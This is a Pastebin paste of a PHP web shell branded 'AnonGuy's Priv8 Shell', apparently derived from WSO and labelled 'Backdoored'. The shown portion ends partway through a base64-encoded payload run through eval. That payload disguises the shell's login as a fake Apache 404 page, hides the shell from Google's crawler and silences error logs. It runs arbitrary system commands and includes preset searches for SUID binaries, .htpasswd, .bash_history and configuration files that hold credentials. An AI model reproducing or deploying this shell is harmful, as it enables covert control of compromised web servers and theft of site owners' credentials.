Advertisement
iAnonGuy

AnonGuy's Priv8 Shell "WSO Based" - Backdoored v2.0

Dec 8th, 2014
1,095
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 178.85 KB | None | 0 0
  1. <?php
  2. /*
  3. #########################################################
  4. # AnOnGuY's Priv8 Shell #
  5. # #
  6. # - Team MaDLeeTs - #
  7. #########################################################
  8.  
  9. ## ##
  10. ## ##
  11. ## ## ####### #####
  12. ## ## ## ## ## ##
  13. ## ## ## ## ##
  14. ## ## ####### ## ##
  15. ## ## ## ## ##
  16. ## ## ## ### ## ##
  17. ### ######### ### #####
  18.  
  19. Contact Me :
  20. [#] www.facebook.com/AbkTheSpy
  21.  
  22. All Rights Reserved - AnonGuy© (Team ML) :D */
  23. #-------------------------------------------------------------------------------
  24. # Default Password = AGPriv8ShellV2.0
  25. $auth_pass = "586297639f168e1dc3233572903c8af9";
  26. #-------------------------------------------------------------------------------
  27. ?><?php eval("?>".base64_decode("PD9waHANCiRjb2xvciA9ICIjMDBmZjAwIjsNCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7DQpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7DQppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgew0KICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgIGV4aXQ7DQp9DQpAc2Vzc2lvbl9zdGFydCgpOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBkZWZpbmUoJ1ZFUlNJT04nLCAnVmVyIDMuMCAoREVWKScpOw0KaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7DQogICAgZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSkgew0KICAgICAgICByZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KICAgIH0NCiAgICAkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsNCn0NCmZ1bmN0aW9uIHByaW50TG9naW4oKSB7DQogICAgZWNobyAnPGgxPk5vdCBGb3VuZDwvaDE+DQogICAgICAgICAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQogICAgICAgICAgPGhyPg0KICAgICAgICAgIDxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJyBQb3J0IDgwPC9hZGRyZXNzPg0KICAgICAgICAgIDxzdHlsZT5pbnB1dCB7IG1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IH08L3N0eWxlPg0KICAgICAgICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPjwvZm9ybT48L2NlbnRlcj4nOw0KICAgIGV4aXQ7DQp9DQppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpDQogICAgaWYoIGVtcHR5KCAkYXV0aF9wYXNzICkgfHwNCiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyApICkgKQ0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsNCiAgICBlbHNlDQogICAgICAgIHByaW50TG9naW4oKTsNCg0KaWYoIHN0cnRvbG93ZXIoIHN1YnN0cihQSFBfT1MsMCwzKSApID09ICJ3aW4iICkNCiAgICAkb3MgPSAnd2luJzsNCmVsc2UNCiAgICAkb3MgPSAnbml4JzsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsNCmlmKCBpc3NldCggJF9QT1NUWydjJ10gKSApDQogICAgQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZiggJG9zID09ICd3aW4nKSB7DQogICAgJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOw0KICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KaWYoICRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApDQogICAgJGN3ZCAuPSAnLyc7DQogICAgDQppZigkb3MgPT0gJ3dpbicpIHsNCiAgICAkYWxpYXNlcyA9IGFycmF5KA0KICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLA0KICAgICAgICAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwNCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsDQogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwNCiAgICAgICAgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsDQogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLA0KICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQogICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLA0KICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiDQogICAgKTsNCn0gZWxzZSB7DQogICAgJGFsaWFzZXMgPSBhcnJheSgNCiAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGEiLA0KICAgICAgICAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwNCiAgICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwNCiAgICAgICAgIkZpbmQiID0+ICIiLA0KICAgICAgICAgICJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogICAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogICAgICAgICAgImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLA0KICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwNCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwNCiAgICAgICAgICAiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogICAgICAgICAgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogICAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsDQogICAgICAgICAgImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAgICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwNCiAgICAgICAgICAiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwNCiAgICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAgICAgICAiTG9jYXRlIiA9PiAiIiwNCiAgICAgICAgICAibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsDQogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLA0KICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLA0KICAgICAgICAibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLA0KICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsDQogICAgICAgICJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsDQogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsDQogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsDQogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLA0KICAgICAgICAibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwNCiAgICAgICAgImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsDQogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwNCiAgICAgICAgImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsDQogICAgICAgICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsDQogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwNCiAgICAgICAgImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwNCiAgICAgICAgImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLA0KICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIgICAgDQogICAgKTsNCn0NCg0KZnVuY3Rpb24gZXgoJGluKSB7DQogICAgJG91dCA9ICcnOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQogICAgICAgIEBleGVjKCRpbiwkb3V0KTsNCiAgICAgICAgJG91dCA9IEBqb2luKCJcDQoiLCRvdXQpOw0KICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIEBwYXNzdGhydSgkaW4pOw0KICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIEBzeXN0ZW0oJGluKTsNCiAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOw0KICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCiAgICB9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgew0KICAgICAgICAkb3V0ID0gIiI7DQogICAgICAgIHdoaWxlKCFAZmVvZigkZikpDQogICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KICAgICAgICBwY2xvc2UoJGYpOw0KICAgIH0NCiAgICByZXR1cm4gJG91dDsNCn0NCg0KZnVuY3Rpb24gd2hpY2goJHApIHsNCiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsNCiAgICBpZighZW1wdHkoJHBhdGgpKQ0KICAgICAgICByZXR1cm4gJHBhdGg7DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KICAgIA0KZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7DQogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7DQogICAgZ2xvYmFsICRjb2xvcjsNCiAgICANCiAgICBlY2hvICc8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT5Bbm9uR3V5YHMgUHJpdmF0ZSBTaGVsbCB2Mi4wPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIGJvZHkge2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDtjb2xvcjojZmZmO30NCiAgICAgICAgYm9keSx0ZCx0aCAgICB7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0NCiAgICAgICAgc3BhbixoMSxhICAgIHsgY29sb3I6Jy4kY29sb3IuJyAhaW1wb3J0YW50OyB9DQogICAgICAgIHNwYW4gICAgICAgIHsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KICAgICAgICBoMSAgICAgICAgICAgIHsgcGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOjBweCAwIDAgNXB4OyB9DQogICAgICAgIGRpdi5jb250ZW50ICAgIHsgcGFkZGluZzogNXB4O21hcmdpbjowIDVweDtiYWNrZ3JvdW5kOiAjMDAwMDAwO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7fQ0KICAgICAgICBhICAgICAgICAgICAgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQ0KICAgICAgICBhOmhvdmVyICAgICAgICB7IC8qYmFja2dyb3VuZDojNWU1ZTVlOyovIH0NCiAgICAgICAgLm1sMSAgICAgICAgeyBib3JkZXI6MXB4IHNvbGlkICMwMDAwMDA7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0NCiAgICAgICAgLmJpZ2FyZWEgICAgeyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDttYXJnaW4tdG9wOjVweDt9DQogICAgICAgIGlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0ICAgIHsgbWFyZ2luOjA7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7Ym9yZGVyOjFweCBzb2xpZCAnLiRjb2xvci4nOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0NCiAgICAgICAgaW5wdXRbdHlwZT0iYnV0dG9uIl06aG92ZXIsaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIge2JhY2tncm91bmQtY29sb3I6Jy4kY29sb3IuJztjb2xvcjojMDAwO30gDQogICAgICAgIGZvcm0gICAgICAgIHsgbWFyZ2luOjBweDsgfQ0KICAgICAgICAjdG9vbHNUYmwgICAgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KICAgICAgICAudG9vbHNJbnAgICAgeyB3aWR0aDogODAlOyB9DQogICAgICAgIC5tYWluIHRoICAgIHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO2ZvbnQtd2VpZ2h0OiBib2xkO30NCiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30NCiAgICAgICAgLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9DQogICAgICAgIC5tZW51IHtiYWNrZ3JvdW5kOiAjMDAwMDAwO30NCiAgICAgICAgLm1lbnUgdGh7cGFkZGluZzo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9DQogICAgICAgIC5tZW51IHRoOmhvdmVye2JhY2tncm91bmQ6IzAwMDAwMDt9DQogICAgICAgIC5sMSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO30NCiAgICAgICAgcHJlIHtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9DQogICAgICAgICNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9DQoNCiAgICAgICAgLmxvZ28ge3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZTo2MHB4O30NCiAgICAgICAgLmxvZ28gc3VwIHtmb250LXNpemU6IDE1cHg7dmVydGljYWwtYWxpZ246IHRvcDttYXJnaW4tbGVmdDogLTE0cHg7fQ0KICAgICAgICAuY3ByIHttYXJnaW4tYm90dG9tOjVweDtmb250LXdlaWdodDpib2xkO30NCiAgICAgICAgLmNwYiB7d2lkdGg6MzRweDttYXJnaW46MCA1cHg7fQ0KICAgICAgICAuZWNhMSB7Zm9udC1zaXplOiAxNnB4O2ZvbnQtd2VpZ2h0OiBib2xkO2xldHRlci1zcGFjaW5nOiAxMHB4O21hcmdpbjogMCAycHggMCAxN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9DQogICAgICAgIC5lY2EyIHtmb250LXNpemU6IDEzcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7bGV0dGVyLXNwYWNpbmc6IDNweDttYXJnaW46IDAgMnB4IDAgN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9DQogICAgICAgIC5ucG9hZCB0ZCB7cGFkZGluZzowO30NCiAgICA8L3N0eWxlPg0KICAgIDxzY3JpcHQ+DQogICAgICAgIGZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KICAgICAgICAgICAgaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsNCiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7DQogICAgICAgICAgICBpZihwMSAhPSBudWxsKWRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxOw0KICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsNCiAgICAgICAgICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7DQogICAgICAgICAgICBpZihjaGFyc2V0ICE9IG51bGwpZG9jdW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0Ow0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCiAgICAgICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQogICAgICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KICAgICAgICAgICAgdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOw0KICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50Lm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQogICAgICAgICAgICAgICAgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOw0KICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgICAgDQogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7DQogICAgICAgICAgICAgICAgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7DQogICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOw0KICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7DQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpIHsNCiAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsNCiAgICAgICAgICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOw0KICAgICAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICAgICAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApDQogICAgICAgICAgICAgICAgaWYocmVxLnN0YXR1cyA9PSAyMDApIHsNCiAgICAgICAgICAgICAgICAgICAgLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsNCiAgICAgICAgICAgICAgICAgICAgZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSBhbGVydCgiUmVxdWVzdCBlcnJvciEiKTsNCiAgICAgICAgfQ0KICAgIDwvc2NyaXB0Pg0KICAgIDxoZWFkPjxib2R5PjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7dG9wOjA7bGVmdDowOyI+PGRpdiBzdHlsZT0ibWFyZ2luOjVweDtiYWNrZ3JvdW5kOiMwMDAwMDA7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDoxcHggc29saWQgIzAwZmYwMDsiPg0KICAgIDxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4NCiAgICA8L2Zvcm0+JzsNCiAgICAkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcG